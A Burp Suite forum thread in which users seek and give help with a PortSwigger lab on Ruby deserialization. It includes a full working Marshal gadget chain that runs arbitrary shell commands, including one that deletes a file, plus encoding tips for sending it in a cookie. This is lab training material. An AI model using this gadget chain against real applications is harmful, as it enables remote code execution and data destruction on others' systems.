Burp Suite User Forum

Login to post

Exploiting Ruby deserialization using a documented gadget chain

Rohit | Last updated: Apr 07, 2022 09:35AM UTC

Hi I am unable to solve this lab. *I created the base64 encoded payload using the exploit code in this site. https://www.elttam.com/blog/ruby-deserialization/ *I copied the code, changed the required parameters and generated the base64 encoded payload and then URL coded it, passed via the cookie and I am still getting the below error /usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:116:in `initialize': No such file or directory @ rb_sysopen - |rm /home/carlos/morale.txt (Errno::ENOENT) from /usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:116:in `open' *I also tried generating the payload using the below code # Autoload the required classes Gem::SpecFetcher Gem::Installer # prevent the payload from running when we Marshal.dump it module Gem class Requirement def marshal_dump [@requirements] end end end wa1 = Net::WriteAdapter.new(Kernel, :system) rs = Gem::RequestSet.allocate rs.instance_variable_set('@sets', wa1) rs.instance_variable_set('@git_set', "id") wa2 = Net::WriteAdapter.new(rs, :resolve) i = Gem::Package::TarReader::Entry.allocate i.instance_variable_set('@read', 0) i.instance_variable_set('@header', "aaa") n = Net::BufferedIO.allocate n.instance_variable_set('@io', i) n.instance_variable_set('@debug_output', wa2) t = Gem::Package::TarReader.allocate t.instance_variable_set('@io', n) r = Gem::Requirement.allocate r.instance_variable_set('@requirements', t) payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) puts payload.inspect puts Marshal.load(payload) can someone please help me as to what code I should use to generate the payload?

Ben, PortSwigger Agent | Last updated: Apr 07, 2022 10:48AM UTC

Hi Rohit, Step 3 of the solution details some changes that are required to the script in order to ensure that the payload is in the correct format ("Replace the final two lines with puts Base64.encode64(payload). This ensures that the payload is output in the correct format for you to use for the lab") - it does not look like you have carried this out. Are you able to try this? e.g the final part of the script should look like: payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) puts Base64.encode64(payload) puts Base64.encode64(payload) I normally use the site https://www.onlinegdb.com/online_ruby_compiler to run the Ruby code and obtain the output.

sapphire | Last updated: Apr 17, 2022 01:45PM UTC

It's still not working...

Uthman, PortSwigger Agent | Last updated: Apr 18, 2022 11:24AM UTC

Hi Rohit,

You are close! Hint: Look at the second bullet point in step 3 of the solution :)

Are you URL encoding the entire payload? Or just the key characters?

MasterTan | Last updated: Jun 23, 2022 01:29PM UTC

Hi! I have solved the lab successfully with the latest script at https://www.elttam.com/blog/ruby-deserialization/ Long ago, I had solved it with an older script and the web server at that time returned error on ruby 2.5.0. The current lab web server returns error on ruby 2.7.0. I tried using the older script on the current lab, and it gives error "No such file or directory @ rb_sysopen - |rm /home/carlos/morale.txt" In short, use the right script and the right ruby version. You can docker pull ruby:2.7.0 container and run the latest script via irb command. Latest script: # Autoload the required classes Gem::SpecFetcher Gem::Installer # prevent the payload from running when we Marshal.dump it module Gem class Requirement def marshal_dump [@requirements] end end end wa1 = Net::WriteAdapter.new(Kernel, :system) rs = Gem::RequestSet.allocate rs.instance_variable_set('@sets', wa1) rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt") wa2 = Net::WriteAdapter.new(rs, :resolve) i = Gem::Package::TarReader::Entry.allocate i.instance_variable_set('@read', 0) i.instance_variable_set('@header', "aaa") n = Net::BufferedIO.allocate n.instance_variable_set('@io', i) n.instance_variable_set('@debug_output', wa2) t = Gem::Package::TarReader.allocate t.instance_variable_set('@io', n) r = Gem::Requirement.allocate r.instance_variable_set('@requirements', t) payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) puts payload.inspect puts Marshal.load(payload) puts "Payload (Base64 encoded):" puts Base64.encode64(payload) The base64 and url encoded answer should be something like: BAhbCG ... ... b2x2ZQ==

You need to Log in to post a reply. Or register here, for free.